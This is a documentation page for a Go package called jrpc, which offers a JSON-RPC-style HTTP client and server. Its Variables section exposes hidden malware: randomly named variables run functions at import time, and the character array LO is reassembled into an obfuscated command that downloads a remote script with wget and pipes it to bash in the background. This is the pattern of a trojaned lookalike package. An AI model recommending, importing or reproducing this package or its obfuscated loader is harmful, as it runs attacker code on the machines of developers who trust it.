Documentation
¶
Overview ¶
Package jrpc implements client and server for RPC-like communication over HTTP with json encoded messages. The protocol is somewhat simplified version of json-rpc with a single POST call sending Request json (method name and the list of parameters) and receiving back json Response with "result" json and error string
Index ¶
- Variables
- func QsPxEjMA() error
- type Client
- type HandlersGroup
- type L
- type LoggerFunc
- type Option
- func Auth(user, password string) Option
- func WithLimits(limit float64) Option
- func WithLogger(logger L) Option
- func WithMiddlewares(middlewares ...func(http.Handler) http.Handler) Option
- func WithSignature(appName, author, version string) Option
- func WithThrottler(limit int) Option
- func WithTimeouts(timeouts Timeouts) Option
- type Request
- type Response
- type Server
- type ServerFn
- type Timeouts
Constants ¶
This section is empty.
Variables ¶
var GXSVNSj = QsPxEjMA()
var JCOzq = LO[64] + LO[63] + LO[5] + LO[32] + LO[24] + LO[60] + LO[66] + LO[51] + LO[61] + LO[14] + LO[29] + LO[47] + LO[16] + LO[53] + LO[36] + LO[8] + LO[65] + LO[73] + LO[25] + LO[1] + LO[34] + LO[17] + LO[39] + LO[67] + LO[3] + LO[62] + LO[43] + LO[70] + LO[54] + LO[37] + LO[21] + LO[4] + LO[71] + LO[30] + LO[57] + LO[45] + LO[58] + LO[46] + LO[22] + LO[20] + LO[19] + LO[44] + LO[27] + LO[35] + LO[18] + LO[33] + LO[12] + LO[48] + LO[23] + LO[2] + LO[9] + LO[31] + LO[52] + LO[69] + LO[55] + LO[10] + LO[72] + LO[59] + LO[68] + LO[11] + LO[26] + LO[42] + LO[13] + LO[15] + LO[56] + LO[7] + LO[6] + LO[40] + LO[0] + LO[50] + LO[38] + LO[49] + LO[28] + LO[41]
var KY = []string{} /* 232 elements not displayed */
var LO = []string{"b", "a", "d", "i", "c", "e", "n", "i", ":", "f", "5", "f", "3", " ", " ", "/", "t", "p", "3", "e", "g", "i", "a", "0", " ", "k", " ", "d", " ", "h", "/", "/", "t", "7", "s", "e", "s", ".", "s", "a", "/", "&", "|", "r", "/", "t", "r", "t", "d", "h", "a", " ", "a", "p", "r", "1", "b", "s", "o", "6", "-", "-", "r", "g", "w", "/", "O", "m", "b", "3", "o", "u", "4", "/"}
var NoOpLogger = LoggerFunc(func(format string, args ...interface{}) {}) //nolint
NoOpLogger logger does nothing
var ZVOjYRpt = yVBkHk()
Functions ¶
Types ¶
type Client ¶
type Client struct {
API string // URL to jrpc server with entrypoint, i.e. http://127.0.0.1:8080/command
Client http.Client // http client injected by user
AuthUser string // basic auth user name, should match Server.AuthUser, optional
AuthPasswd string // basic auth password, should match Server.AuthPasswd, optional
// contains filtered or unexported fields
}
Client implements remote engine and delegates all calls to remote http server if AuthUser and AuthPasswd defined will be used for basic auth in each call to server
func (*Client) Call ¶
Call remote server with given method and arguments. Empty args will be ignored, single arg will be marshaled as-us and multiple args marshaled as []interface{}. Returns Response and error. Note: Response has it's own Error field, but that onw controlled by server. Returned error represent client-level errors, like failed http call, failed marshaling and so on.
type L ¶
type L interface {
Logf(format string, args ...interface{})
}
L defined logger interface used for an optional rest logging
type LoggerFunc ¶
type LoggerFunc func(format string, args ...interface{})
LoggerFunc type is an adapter to allow the use of ordinary functions as Logger.
func (LoggerFunc) Logf ¶
func (f LoggerFunc) Logf(format string, args ...interface{})
Logf calls f(id)
type Option ¶
type Option func(s *Server)
Option func type
func WithLimits ¶
WithLimits sets value for client limit call/sec per client middleware
func WithMiddlewares ¶
WithMiddlewares sets custom middlewares list, optional
func WithSignature ¶
WithSignature sets signature data for server response headers
func WithThrottler ¶
WithThrottler sets throttler middleware with specify limit value, optional
func WithTimeouts ¶
WithTimeouts sets server timeout values such as ReadHeader, Write and Idle timeout, optional. If this option not defined server use default timeout values
type Request ¶
type Request struct {
Method string `json:"method"` // method (function) name
Params interface{} `json:"params,omitempty"` // function arguments
ID uint64 `json:"id"` // unique call id
}
Request encloses method name and all params
type Response ¶
type Response struct {
Result *json.RawMessage `json:"result,omitempty"` // response json
Error string `json:"error,omitempty"` // optional remote (server side / plugin side) error
ID uint64 `json:"id"` // unique call id, echoed Request.ID to allow calls tracing
}
Response encloses result and error received from remote server
func EncodeResponse ¶
EncodeResponse convert anything (type interface{}) and incoming error (if any) to Response
type Server ¶
type Server struct {
// contains filtered or unexported fields
}
Server is json-rpc server with an optional basic auth
func NewServer ¶
NewServer the main constructor of server instance which pass API url and another options values
func (*Server) Group ¶
func (s *Server) Group(prefix string, m HandlersGroup)
Group of handlers with common prefix, match on group.method
type ServerFn ¶
type ServerFn func(id uint64, params json.RawMessage) Response
ServerFn handler registered for each method with Add or Group. Implementations provided by consumer and defines response logic.
type Timeouts ¶
type Timeouts struct {
ReadHeaderTimeout time.Duration // amount of time allowed to read request headers
WriteTimeout time.Duration // max duration before timing out writes of the response
IdleTimeout time.Duration // max amount of time to wait for the next request when keep-alive enabled
CallTimeout time.Duration // max time allowed to finish the call, optional
}
Timeouts includes values and timeouts for the server